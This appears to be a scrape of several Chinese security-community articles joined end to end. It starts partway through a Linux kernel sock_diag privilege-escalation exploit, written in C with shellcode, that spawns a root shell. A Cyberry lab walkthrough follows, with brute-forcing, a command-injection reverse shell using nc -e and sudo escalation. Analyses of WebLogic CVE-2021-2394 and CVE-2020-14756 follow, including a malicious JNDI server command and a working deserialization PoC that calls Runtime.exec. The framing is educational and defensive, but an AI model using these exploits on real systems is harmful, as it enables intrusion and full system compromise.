if (!strcmp(name, sym)) {
printf("[+] resolved symbol %s to %pn", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int main(int argc, char*argv[])
{
int fd;
unsigned family;
struct {
struct nlmsghdr nlh;
struct unix_diag_req r;
} req;
char buf[8192];
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socketn");
return -1;
}
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
//req.r.sdiag_family = 99;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
commit_creds = (_commit_creds) get_symbol("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
sock_diag_handlers = get_symbol("sock_diag_handlers");
nl_table = get_symbol("nl_table");
if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
printf("some symbols are not available!n");
exit(1);
}
family = (nl_table - sock_diag_handlers) / 8;
printf("family=%dn",family);
if(family>255){
printf("nl_table is too far!n");
exit(1);
}
req.r.sdiag_family = family;
unsigned long mmap_start, mmap_size;
mmap_start = 0xfffd0000;
mmap_size = 0x20000;
printf("mmapping at 0x%lx, size = 0x%lxn", mmap_start, mmap_size);
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap faultn");
exit(1);
}
memset((void*)mmap_start, 0x90, mmap_size); //将申请的内存区域全部填充为nop
char jump[] = "x55x48x89xe5x48xb8x11x11x11x11x11x11x11x11xffxd0x5dxc3"; // jump_payload in asm
unsigned long *asd =(unsigned long *)&jump[6];
//将x11全部替换成kernel_code
*asd = (unsigned long)kernel_code;
printf("[+] kernel_code: %pn",(void *) kernel_code);
//把jump_payload放进mmap的内存的最后
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
send(fd, &req, sizeof(req), 0); //发送socket触发漏洞
printf("uid=%d, euid=%dn",getuid(), geteuid() );
system("/bin/sh");
}
### 调试过程
首先，要下内核断点，这里选取的是 ___sock_diag_rcv_msg_ 函数，它离调用点很近。
其次，查看结构体 _netlink_table_ 的子结构体 _nl_pid_hash_ 的子成员 _rehash_time_
的值。多次调试可以知道取值范围。
然后，查看（dump _）函数的汇编代码流程，查看正常和溢出时不一样的变化。_
_
_
_可以看出，正常rax已经为零，不再去执行(dump_ )函数，而伪造的继续执行。
接着，查看shellcode流的走向。
最后，成功提权，拿到了root权限，虽然这是在毫无内核保护机制之下。
## 简单绕过
内核最常见的是内核地址随机化保护( _kaslr_ ),但是查看exp流程，你会发现，基本没有需要突破 _kaslr_
的地方，因为地址已经被泄露出来了。那么，如果 _kernel.kptr_restrict=1_
的时候，地址被封禁，也就是没办法去调用符号的地址。这个时候也不可以查看 _dmesg_
日志里的报错信息，因为进程间通信错误会使内核这一板块失效，之后再去运行时就会卡死。
但我们也不是没有办法，根据反复调试，每个linux版本里这两个结构体的相对位置大致不变。可以编写自动化脚本，给一个固定的值，反复重启爆破出某次正好凑齐的值。
之后还有 _smep_ 、 _smap_ 的内核禁止执行用户空间代码的保护，绕过这种保护，一般使用 _rop_ 来突破，就像一般pwn题用它来绕过 _NX_
一样。但是，这内核空间里没有可以直接利用的栈空间，连一句 _rop_
也无法执行。比较少见的方式是去修改使内核误以为用户空间页是内核空间页。两者详细利用，我都会在下篇里进行讲述，下篇也会调试几个最近有关虚拟页表的内核cve漏洞。
~~我绝对不会说JOJO的奇妙冒险更新了，我赶着去看，所以不想再往下写了。~~
## 上篇总结
内核调试总是要走很多弯路，幸好很多坑前辈已经帮你踩过，你也在常规的pwn题里跌倒过，最后上手总是快些。但是密密麻麻的函数流程，比python难上手的linux下的C编程，总是令人恐惧。这是无可奈何的事，田园时代已过，未来只会更加凶险。你能做到就是盯着它看，代码烂熟于心，就算找不到漏洞，那至少也是一名内核工程师了。
上篇主要还是讲了讲调试内核的入门，分析的漏洞也是一个较为明显的越界，也怪我懒散，拖拖拉拉到现在才写完。那我们就在猴年马月的下篇再见了。
## 参考资料
(1).<https://bbs.pediy.com/thread-178397.htm>
(2).<https://www.cnblogs.com/ck1020/p/7118236.html>
(3).<http://m4x.fun/post/linux-kernel-pwn-abc-1/#get-root-shell> | 社区文章 |
# Cyberry靶机渗透测试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 环境准备
靶机ip：192.168.107.132
攻击机kali：192.168.107.134
说明：目的是拿下靶机并获取root权限
## 渗透测试
首先nmap开路，找一下靶机的ip地址`nmap -sP 192.168.107.1/24`
既然确定了ip，接着我们扫一下端口。开了三个端口，1个web端口80，1个ssh端口22，1个ftp端口21.我们先从web服务开始。
一个静态页面，没什么搞头，扫一下目录。
我先从phpmyadmin下手，这里尝试爆破弱口令，结果失败，看来不是从这里入手，接着去/login.php界面看看，试了半天，好像也不是什么注入，结果发现这里有点东西，点进去，前面几个点进去是404，这一个就有东西了，
这样一张图片。用图片编辑器调一下，这里就很有意思了，有四个人，最上方还有一部分，出现了PORT字样，一时半会有些蒙蔽，但是显然这个靶机入口就在这里了(总不会无缘无故给一张这样的图吧--)。然后，我分别把这四个人截图下来，用浏览器的识别功能去查了这四个人，了解了一下各个人的信息，这四个人分别是Smiley Lewis, Dave
Edmunds, Fats Domino和Gale Storm，首先，他们都是艺术家，都演奏了同一首歌曲，名字叫，”I hear you
knocking”，年份分别是，1970，1955，1955，1961，这差不多是共同点了，还是很蒙蔽0.0，这里结合了知识面和脑洞。。原来跟knock有关，linux下有个命令knock可供安装使用，`端口试探（port
knocking）`是一种通过连接尝试，从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试，防火墙就会动态打开一些特定的端口给允许尝试连接的主机，知道这个就明白上面那个PORT的意思了，显然是有某个端口没有被打开，需要我们knock开。那年份就要用上了，从左上依次到右下`knock
192.168.107.132 1970 1955 1955
1961`。knock之后，再来扫描端口，从1-65535发现了一个端口开放了，我们访问，还是这个页面，但是既然端口不一样，那肯定存在的页面也会有差异，我们这次使用kali下的dirb扫描目录,这里，多了个H目录，访问，这种语言在CTF中见过，brain-fuck，于是乎，Google一个在线翻译，解密，内容如下，明显上面几个是用户名，下面pw那个是密码，想到前面开了ftp和ssh，把目标转向了ssh和ftp，先看看能不能登陆ssh，这里我用hydra进行爆破，先把刚才的用户名和密码保存在本地
.hydra命令如下，`hydra -L /root/user.txt -P /root/pw.txt ssh://192.168.107.132 -t
6` 爆破成功，直接去登陆ssh,`ssh
[[email protected]](mailto:[email protected]).132`。结果登不进去被墙了？不知道。。总之就是我们被拒绝了，ssh这条路看来走不通了。。。换个思路，爆破ftp。还是这个用户名和密码，`ftp
192.168.107.132`成功登陆，接着，用`ls
-la`看看文件，在.bash_history目录，发现有两个文件，get到kali本地，命令，`get .trash` `get
.reminder.enc`。接着到本地看看文件类型，一个是openssl
enc加密，一个是文本，我们看看文本内容应该就是密码了，网上找了个脚本，直接放在命令行用，
for i in `openssl enc -ciphers | tail -n +2` ; do for j in `cat .trash`; do openssl ${i:1} -d -salt -md md5 -in .reminder.enc -out "decrypted$i$j" -k $j; done;done 2>/dev/null
解密完后，找一下我们想要的文本文件，`file * | grep "text"`
`cat`查看一下，这个dangleberry69大概就是什么登陆密码，好像暂时没什么地方用到登陆了，别忘了我们web网站上还有一个登陆处，用mary和拿到的密码去登陆一下，`http://192.168.107.132:61955/login.php`登陆成功，页面有两个链接，第一个就是一个视频播放，没什么用，第二个是个DNS解析的页面。
只给了一个yahoo和google，看着像是一个代码执行的洞，我尝试在前台修改一下，看看能不能执行其他的东西
修改，添加`google;whoami`。然后，提交果然，执行了代码，这样，我便想反弹一个shell，先在攻击机上执行`nc -lvp 4444`
接着，在前台修改value值为 `google;nc -e /bin/bash 192.168.107.133 4444` 等几秒钟，查看攻击机
已经反弹到shell了，看着很不舒服，用python引入一个交互式shell，`python -c "import
pty;pty.spawn('/bin/bash')"` 查看当前目录下的文件，有个nb-latin，查看内容
看着要不是用户名，要不就是密码，先下载到攻击机上，shell上命令`nc -w 3 192.168.107.132 4444< nb-latin`
kali终端上`nc -lvp 4444 > pass.txt`。用之前的用户名字典和这个密码字典试试ssh登陆，还是上hydra，`hydra -L
/root/user.txt -P /root/pass.txt ssh://192.168.107.132 -t 6`
登陆ssh，这下成功了，没有出错，看下文件，运行sh
发现我们基本上没有权限，什么都运行不了，应该会有个地方有权限的设定，于是想到了`sudo -l`命令，列出目前用户可执行的指令，
确实，我们可以用terry的权限去执行刚才那两个我们没有权限的文件，命令`sudo -u terrt ./invoke.sh`,
通过测试，我发现需要带一个参数，而且这个参数是将要被打开的文件
，我试着把参数改为/bin/bash，发现，我们用户切换为terry了同样，用上面的方法`sudo
-l`，发现有一个文件可以用halle的权限去执行，这里的这个文件是awk，awk是linux下一种文本处理工具，有他自己的语法，按照这个思路，我们需要通过awk的命令，将用户变为halle，用BEGIN命令，引入system全局变量，执行/bin/bash，`sudo
-u halle awk 'BEGIN{system("/bin/bash")}'`,发现我们已经变成halle了，再进行`sudo -l`,
halle可以用chuck的权限执行php，这里踩坑了，最后做法是，我们写一个php文件去执行系统命令，然后用php文件去读chuck目录下的文件，先将文件写入/tmp目录，因为/tmp目录一般来说都可以读，`echo
"<?php system('ls -la /home/chuck')?>" > /tmp/1.php`,然后用`sudo -u chuck
/usr/bin/php /tmp/1.php` 执行，可以发现执行成功了。（注意，直接打开/tmp/1.php是没有权限的，只有用chuck的身份去打开）
我们再去写一个读.deleted目录下的文件，`echo "<?php system('ls -la /home/chuck/.deleted')?>" >
/tmp/1.php`.接着`sudo -u chuck /usr/bin/php /tmp/1.php`.执行，
有两个文件，先看看ssh_stuff里有什么，发现了rsa公钥，但没法进行免密登陆ssh，我们条件没法实现，所以看看另一个文件deleted，
打开后，发现了类似密码的邮件，
右侧文本文件是我自己创建的记录，开头是che，结尾是rry，中间有baca，还有一些字母出现次数的说明，那么接下来就是爆破密码了，直接暴力，用kali下的自带工具
crunch 生成密码由于文件有点大，先生成好，再把他们合成为一个文件。 接着用hydra爆破。爆了一万年。。 接着直接登陆ssh，
可以看到已经是root了，至此靶机提升root已完成。
## 参考链接
<http://www.sohu.com/a/161766202_709042> 【tty交互式shell】
<https://en.wikipedia.org/wiki/Port_knocking> 【Port_knocking】
<http://www.runoob.com/linux/linux-comm-awk.html> 【awk】 | 社区文章 |
# Weblogic CVE-2021-2394 分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：白帽汇安全研究院@kejaly
校对：白帽汇安全研究院@r4v3zn
## 前言
在2021年7月21日，Oracle官方 发布了一系列安全更新。涉及旗下产品（Weblogic Server、Database Server、Java
SE、MySQL等）的 342 个漏洞，[https://www.oracle.com/security-alerts/cpujul2021.htm。其中，Oracle](https://www.oracle.com/security-alerts/cpujul2021.htm%E3%80%82%E5%85%B6%E4%B8%AD%EF%BC%8COracle) WebLogic
Server 产品中有高危漏洞，漏洞编号为 CVE-2021-2594，CVSS 评分9.8分，影响多个 WebLogic 版本，且漏洞利用难度低，可基于
T3 和 IIOP 协议执行远程代码。
经过分析，此次漏洞结合了 CVE-2020-14756 和 CVE-2020-14825 反序列化链，利用`FilterExtractor`
这个类来对4月份补丁进行绕过。
## 补丁回顾
在4月份补丁中，对 `ExternalizableHelper` 中的 `readExternalizable` 做了修改，增加了对传入的
`DataInput` 判断，如果是 `ObjectInputStream` 类型就会调用 `checkObjectInputFilter`
函数进行过滤。所以再利用 CVE-2020-14756 中直接反序列化
`com.tangosol.coherence.rest.util.extractor.MvelExtractor` 来造成 RCE 的方法已经行不通了。
## 调试环境
**本文基于 win7 虚拟机 + Weblogic 12.1.4 版本 + jdk 8u181 进行研究分析测试**
修改目录 `user_project/domains/base_domain/bin` 目录中 `setDomainEnv.cmd` ，加`if
%debugFlag == "true"%` 之前加入 `set debugFlag=true`。
拷贝 `Oracle_Home` 目录下所有文件至调试目录，将 `\coherence\lib`，`\oracle_common\modules`
目录下所有文件添加到 Libraries：
配置 idea 中 jdk 版本与虚拟机中运行的 weblogic jdk 版本保持一致。
添加 remote 调试：
## 漏洞利用
该漏洞主要是因为 `FilterExtractor` 的 `readExternal` 方法中会直接 `new` 一个
`MethodAttributeAccessor` 对象，使得生成
`MethodAttributeAccessor`的时候不会受到黑名单的限制，来对4月份的补丁进行绕过。
`FilterExtractor` 类具有如下特征：
1.`FilterExtractor` 实现了 `ExternalizableLite` 接口，重写了 `readExternal` 方法：
`readExternal`
会调用`oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor`
方法:
可以看到会 `new` 一个 `MethodAttributeAccessor` 对象，然后根据 `DataInput` 赋值它的
`setAttributeName`，`setGetMethodName` 以及 `setSetMethodName` 属性（这就导致这三个属性是可控的）。
2.`FilterExtractor` 的 `extract` 方法中存在
`this.attributeAccessor.getAttributeValueFromObject()` 的调用。
熟悉 coherence 组件的漏洞的朋友应该知道在 CVE-2020-14825 中，就是利用
`MethodAttributeAccessor.getAttributeValueFromObject()` 来实现任意无参方法的调用的。
虽然 `MethodAttributeAccessor` 已经加入到了黑名单，但是在上面提到的 `readExternal` 方法中恰好直接 `new`
了一个 `MethodAttributeAccessor` 对象，也就是说不是通过反序列化得到 `MethodAttributeAccessor`
对象，自然也就不受黑名单的影响。
### 调用链
完整调用链如下：
### 漏洞分析
根据构造的 poc ，我们首先在 `AttributeHolder` 类的 `readExternal`方法中打上断点，另一边则运行我们的 poc
，成功断下：
步入，会调用到 `com.tangosol.util.ExternalizableHelper` 中的 `readObject` 方法：
步入，最后会进入到 `com.tangosol.util.ExternalizableHelper`中的 `readObjectInternal`
方法中调用 `readExternalizableLite` 方法：
步入，在`com.tangosol.util.ExternalizableHelper#readExternalizableLite` 方法中，首先会调用
`loadClass` 去加载类，然后调用无参构造函数实例化一个对象，这里个加载的类是
`com.tangosol.util.aggregator.TopNAggregator$PartialResult`：
随后会调用 `com.tangosol.util.aggregator.TopNAggregator$PartialResult` 类的
readExternal 方法：
步入，会再次调用 `com.tangosol.util.ExternalizableHelper.readObject` 方法来读取一个对象并且赋值到
`this.m_comparator` 中，
步入，之后会再次调用到 `com.tangosol.util.ExternalizableHelper#readExternalizableLite`
方法，由于这次读取的 `sClass` 是
`oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor`
，所以会实例化一个 `FilterExtractor` 对象，然后调用它的 `readExternal` 方法：
步入 ，来到 `FilterExtractor` 的 `readExteral` 中，会调用
`oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor`
方法：
步入，会 `new` 一个 `MethodAttributeAccessor` 对象，并且调用
`com.tangosol.util.SerializationHelper#readObject` 方法给
`MethodAttributeAccessor` 对象的 `attributeName` , `getMethodName` 和
`setMethodName` 这三个属性赋值：
赋值之后的结果为：
再回到之前的 `com.tangosol.util.aggregator.TopNAggregator$PartialResult` 类的
readExternal 方法中，`this.m_comparator` 变成了上面
`oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor`
对象：
接着在 182 行，会调用 `this.instantiateInternalMap(this.m_comparator)` 方法，步入，会把
`FilterExtractor`再封装到 `WrapperCompator` 中，然后传入 `TreeMap`的构造函数，实例化一个 `TreeMap`
对象并且返回：
186 行，调用 `this.add` 方法，这里 `ExternalizableHelper.readObject(in)`返回的是
`JdbcRowSetImpl` 对象
接着步入 `super.add` 方法：
然后会调用 `TreeMap.put` 方法，添加传入的 `JdbcRowSetImpl` 对象，最后会来到
`com.tangosol.util.WrapperComparator#compare` 方法并触发
`this.f_comparator.compare` 方法， `this.f_comparator` 正是之前传入的 `FilterExtractor`
对象：
步入，会调用 `com.tangosol.util.extractor#compare` 方法，这个方法中又会调用到 `this.extract`
方法，也就是会调用 `FilterExtractor#extract`方法，进而调用 `this.attributeAccessor` 的
`initializeAttributes` 方法, 而此时的 `this.attributeAccssor` 是
`MethodAttributeAccessor` 对象，所以会调用
`MethodAttributeAccessor#initializeAttributes` 方法：
在 `MethodAttributeAccessor` 中的 `initializeAttributes` 方法中首先会调用
`this.setGetMethod` 方法来设置 `MethodAttributeAccessor` 的 `getMethod` ：
其中 `Helper.getDeclaredMethod` 方法流程如下，是通过传入的类，方法名，以及参数类型来得到对应 `class` 的
`Method`：
此时由于 `theJavaClass` 是 `com.sun.rowset.JdbcRowSetImpl`, `this.getMethodName` 是
`"prepare"` ，所以第一次得到的 `prepare` 方法：
与 CVE-2020-14825 的反序列化流程不同的是， 因为在 `initializeAttributes` 的时候，我们不能再通过控制
`isWriteOnly` 属性为 `true` ，所以会进入到下面这个 if 分支里面去：
会先调用 `this.getSetMethodParameterTypes` 得到 `this.getGetMethod` 属性代表的方法的返回值：
`this.getGetMethod` 在上一步赋值为了 `protected java.sql.PreparedStatement
com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException` ，
所以这里 `this.getSetMethodParameterTypes` 方法得到的是 `java.sql.PreparedStatement`类型:
然后调用`Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(),
this.getSetMethodParameterTypes());` 就会得到 `protected
java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws
java.sql.SQLException` 方法。
`initializeAttributes` 结束后 `MethodAttributeAccessor`的属性值：
接着，回到 `FilterExtractor#extract` 方法中，会继续调用
`this.attributeAccessor.getAttributeValueFromObject` 也就是调用
`MethodAttributeAccessor.getAttributeValueFromObject` 方法：
步入：
步入，会利用反射调用方法：
此时 `this.getMethod` 是 `protected java.sql.PreparedStatement
com.sun.rowset.JdbcRowSetImpl.prepare() throws
java.sql.SQLException`，`abObject` 是 `JbbcRoeSetImpl` ：
这就导致了 jndi 注入的产生：
我们在本地使用 marshalsec 搭建恶意 jndi 服务端：
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:8000/#evil 1389
python -m http.server
成功 RCE：
### jndi 版本问题
在Oracle JDK 11.0.1、8u191、7u201、6u211之后
com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为false，所以此 ldap + jndi 导致
RCE 的方法失效。
在使用基于 `TopNAggregator.PartialResult` 的 poc 对官网说的版本进行复现的时候，发现 10.3.6.0.0
版本中并不存在 `com.tangosol.util.SortedBag` 和
`com.tangosol.util.aggregator.TopNAggregator` 这两个类：
缺少 `SortedBag`：
缺少 `TopNAggregator` ：
### weblogic 版本问题
使用不同 weblogic 版本的 jar 包对不同版本的 weblogic 进行测试，经过测试研究发现以下情况：
jar 版本 | weblogic 版本 | 成功情况
---|---|---
12.1.3.0.0 | 12.1.3.0.0 | 成功
12.1.3.0.0 | 12.2.1.3.0 | 失败
12.1.3.0.0 | 12.2.1.4.0 | 失败
12.1.3.0.0 | 14.1.1.0.0 | 失败
12.2.1.3.0 | 12.1.3.0.0 | 失败
12.2.1.3.0 | 12.2.1.3.0 | 成功
12.2.1.3.0 | 12.2.1.4.0 | 成功
12.2.1.3.0 | 14.1.1.0.0 | 成功
12.2.1.4.0 | 12.1.3.0.0 | 失败
12.2.1.4.0 | 12.2.1.3.0 | 成功
12.2.1.4.0 | 12.2.1.4.0 | 成功
12.2.1.4.0 | 14.1.1.0.0 | 成功
14.1.1.0.0 | 12.1.3.0.0 | 失败
14.1.1.0.0 | 12.2.1.3.0 | 成功
14.1.1.0.0 | 12.2.1.4.0 | 成功
14.1.1.0.0 | 14.1.1.0.0 | 成功
## 7月份补丁影响
打了7月份补丁之后，会报错：
原因是在 `WebLogicFilterConfig` 类的`DEFAULT_BLACKLIST_PACKAGES` 字段中新增了
`oracle.eclipselink.coherence.integrated.internal.querying` 这个包：
而 `FilterExtractor` 类正好在
`oracle.eclipselink.coherence.integrated.internal.querying` 包下面，所以导致被黑名单拦截了下来。
## 修复建议
### 通用修补建议
Oracle官方已经发布补丁，及时进行更新：<https://www.oracle.com/security-alerts/cpujul2021.html>
### Weblogic 临时修补建议
1. 如果不依赖 T3协议进行 JVM通信，可禁用 T3协议。
2. 如果不依赖 IIOP协议进行 JVM通信，可禁用 IIOP协议。
## 参考
<https://www.cnblogs.com/potatsoSec/p/15062094.html>
<https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_vsKIdA> | 社区文章 |
# CVE-2020-14756 详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 影响版本
Oracle Weblogic Server 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
其中12.1.3.0.0的利用链与12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0有所不同
先说这个洞思路不错的地方在于，通过一个实现了`Externalizable`接口的白名单类`AttributeHolder`对内部的数据流进行自定义反序列化`readExternal`操作，使后续的数据流在反序列化时没有经过`readObject()`黑名单检验，就能够利用之前的黑名单类进行攻击(例如作者利用的是CVE-2020-2555的sink)
## 环境搭建
version: '2'
services:
weblogic:
image: vulhub/weblogic:12.2.1.3-2018
ports:
- "7001:7001"
- "8453:8453"
docker cp weblogic-12.2.1.3-8u151:/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh ./setDomainEnv.sh
更改`local_debug`为true，本地`chomod +x`之后再cp进容器，否则没有权限
docker cp ./setDomainEnv.sh weblogic-12.2.1.3-8u151:/u01/oracle/user_projects/domains/base_domain/bin/setDomainEnv.sh
docker cp weblogic-12.2.1.3-8u151:/u01/oracle ./weblogic12.2.1.3
find ./weblogic12.2.1.3 -name *.jar -exec cp {} ./alllib/ \;
docker cp weblogic-12.2.1.3-8u151:/usr/java/jdk1.8.0_151 ./jdk
## ExternalizableLite接口
`ExternalizableLite`接口定义了两个方法`readExternal`和`writeExternal`。凡是实现了`ExternalizableLite`的类，在这两个方法内部都借助`ExternalizableHelper`来进行自定义的序列化和反序列化。
例如`AttributeHolder`重写了自己的`writeExternal`，将内部变量`this.m_oValue`写入序列化的输出流
再例如`TopNAggregator.PartialResult`也重写了自己的`writeExternal`，将内部变量`this.m_comparator`写入序列化的输出流
## 漏洞分析
### 写在前面
在反序列化时会判断实例所属的类是否实现了`Externalizable`接口
如果实现了`Externalizable`或者`ExternalizableLite`接口，会调用实例自身的`readExternal`方法，这是一个自定义反序列化操作。这个漏洞所利用的类(AttributeHolder、PartialResult、MvelExtractor)都实现了`Externalizable`或者`ExternalizableLite`接口
public class AttributeHolder extends Base implements Externalizable
public static class PartialResult extends SortedBag implements ExternalizableLite
public class MvelExtractor extends AbstractExtractor implements ValueExtractor, ExternalizableLite
### 寻找sink
由于第一个类`AttributeHodler`不在黑名单中，且其反序列化操作为`readExternalData`，主要作用是循环递归`ExternalizableLite`接口自定义的反序列化操作
那只需要关注在递归过程中，每个`ExternalizableLiteImpl`在调用自定义`readExternal`还原数据流时是否有危险操作，且参数可控的情况。
首先作者的sink依然是利用`CVE-2020-2555`中，[@Lucifaer](https://github.com/Lucifaer
"@Lucifaer")师傅挖掘的`Mvel`表达式注入
通过`com.tangosol.coherence.rest.util.extractor.MvelExtractor`父类`com.tangosol.coherence.rest.util.extractor.AbstractExtractor`中的`compare`方法调用自身`extract`方法
### 寻找gadget
在`com.tangosol.util.aggregator.TopNAggregatorc.PartialResult#readExternal`方法中调用了`instantiateInternalMap`方法，且`this.m_comparator`可在序列化时传入(攻击者可控)
跟进`instantiateInternalMap`方法，创建了`TreeMap`对象，其`comparator`属性值为传入的`this.m_comparator`参数，同时攻击者可以构造输入流`in`来赋值`this.m_comparator`参数
将`instantiateInternalMap`函数的结果作为`this.m_map`属性值返回后，进入`this.add`函数
但步入`this.add`函数之前，还需令`cElems`不为0，否则直接跳出循环。在追进`in.readInt()`的过程中发现，如果仅在`PartialResult`实例中写入`m_comparator`和`m_cMaxSize`两个数据流，那么`in.readInt();`获取的值为0，因为已经获取完`PartialResult`里的所有数据了。例如我们在序列化是令`m_cMaxSize=2`，则把`PartialResult`数据流读取到的buffer数据中后，最后一个值指向`m_cMaxSize`的值：2
因此我们还要向`PartialResult`实例添加数据。我们去看它的对称写操作`writeExternal`：将`this.size()`写入输出流(实际上就是`TreeMap`的size)，由于默认建立的`TreeMap`而没有赋值导致size初值为0
获取`iter`也的过程，也就是在循环取`TreeMap`里的键值再写入输出流
所以只需要往`TreeMap`里加个键值对就可以执行`this.add`方法。跟进`this.add`，调用`super.add(value)`
继续跟进`super.add(value)`，进入`map.put`操作
在`TreeMap.put`中调用了`TreeMap.compare`方法
跟进`compare`方法，调用`this.f_comparator.compare(o1, o2)`
在前面提到，我们在构造TreeMap时已经把`WrapperComparator.f_comparator`进行了赋值为`MvelExtractor`实例。此之我们已经能够调用`MvelExtractor.compare()`，且参数`o1`与`o2`序列化可控，整个gadget完整。
### 寻找source
找到一个合理的source，能够衔接gadget的起点`PartialResult#readExternal()`.
作者选择的是`com.tangosol.coherence.servlet.AttributeHolder`，由于`AttributeHolder`实现了`Externalizable`接口，因此在反序列化的时候步入`readExternalData`来处理输入流。
而`readExternalData`内部会调用`AttributeHolder#readExternal`继续处理输入流
`read/WriteExternal`都是深度递归的过程，如果`AttributeHodler`属性中有`PartialResult`实例，则会继续调用`PartialResult#readExternal`，成功衔接到gadget起点
## 构造POC-逐步写OutObjectInput
在序列化的过程先解析第一个对象`AttributeHolder`，进入判断执行`writeExternalData`
`writeExternalData`内部调用`AttributeHolder#writeExternal()`。在上文讲`ExternalizableLite`接口时提到，凡事实现了`ExternalizableLite`接口的类都会自定义`writeExternal`来进行自己的序列化操作.
`AttributeHolder#writeExternal`调用`ExternalizableHelper.writeObject(out,
this.m_oValue)`，把自身变量`this.m_oValue`写入输出流。
此时我们令`this.m_oValue`为`com.tangosol.util.aggregator.TopNAggregatorc.PartialResult`，就可以在反序列化时使输入流`in`为`PartialResult`实例的流对象。到这里也可以看出来，`readExternal`和`writeExternal`是对称操作
在漏洞分析时我们提到要让`PartialResult.m_comparator`的值为`MvelExtractor`实例，那怎么向输出流中写入`PartialResult.m_comparator`呢？
步入`ExternalizableHelper.writeObject(out,
this.m_oValue)`之后会发现这个`writeExternal`方法是深度递归的过程。它在判断`PartialResult`也是一个实现了`ExternalizableLite`的类后继续调用`PartialResult#writeExternal()`
`PartialResult#writeExternal()`会调用`ExternalizableHelper.writeObject(out,
this.m_comparator)`继续向输出流写入`PartialResult`内部属性`m_comparator`，这就帮我们解决了问题。我们只需创建实例后令`PartialResult.m_comparator=new
MvelExtractor(xxx);`
步入`ExternalizableHelper.writeObject(out,
this.m_comparator)`，判断`this.m_comparator`也就是`MvelExtractor`也是实现了`ExternalizableLite`的类，继而再次递归调用`MvelExtractor#writeExternal`，把`this.m_sExpr`写入输出流
至此，我们在漏洞分析中用到的所有变量都可以被写入输出流.
## POC-除12.1.3
package weblogic.t3;
import com.tangosol.coherence.rest.util.extractor.MvelExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.aggregator.TopNAggregator;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class CVE_2020_14756 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
String mvel = "";
MvelExtractor mvelExtractor = new MvelExtractor(mvel);
TopNAggregator.PartialResult partialResult = new TopNAggregator.PartialResult(mvelExtractor,2);
AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue",Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder,partialResult);
partialResult.add(1);
Field m_sExpr = mvelExtractor.getClass().getDeclaredField("m_sExpr");
m_sExpr.setAccessible(true);
String mvel1 = "Runtime.getRuntime().exec(\"touch /tmp/CVE_2020_14756\")";
m_sExpr.set(mvelExtractor,mvel1);
FileOutputStream fileOut =
new FileOutputStream("cve_2020_14756.ser");
// 建立对象输入流
ObjectOutputStream out = new ObjectOutputStream(fileOut);
//输出反序列化对象
out.writeObject(attributeHolder);
out.close();
fileOut.close();
}
}
## POC-12.1.3-局限
对于Weblogic
12.1.3，ClassLoader无法加载`MvelExtractor`，所以需要寻找其它的sink。但笔者比较菜，没有能够找到除了`MvelExtractor`之外能够调用`readExternal`接口来反序列化的黑名单sink。跟[@Hu3sky](https://github.com/Hu3sky
"@Hu3sky")师傅讨论后，他用`ChainedExtractor`实现了12.1.3版本的RCE，我用的是`TemplatesImpl`进行了RCE；然而这两种方法中的`Runtime.class`与`TemplatesImpl.class`都在12.1.3上一个版本的黑名单中，因此以下的两个exp仍不能打黑名单下的Weblogic12.1.3，丢出来仅供学习和后续师傅们利用做参考
### 12.1.3-ChainedExtractor
package weblogic.t3;
import com.tangosol.coherence.reporter.extractor.ConstantExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.aggregator.TopNAggregator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class CVE_2020_14756_1213 {
public static void main(String[] args) throws Exception{
ValueExtractor[] fakeaExtractors = new ValueExtractor[]{
new ConstantExtractor(null)
};
//构造一个假的aExtractors数组，以便于add操作添加整数
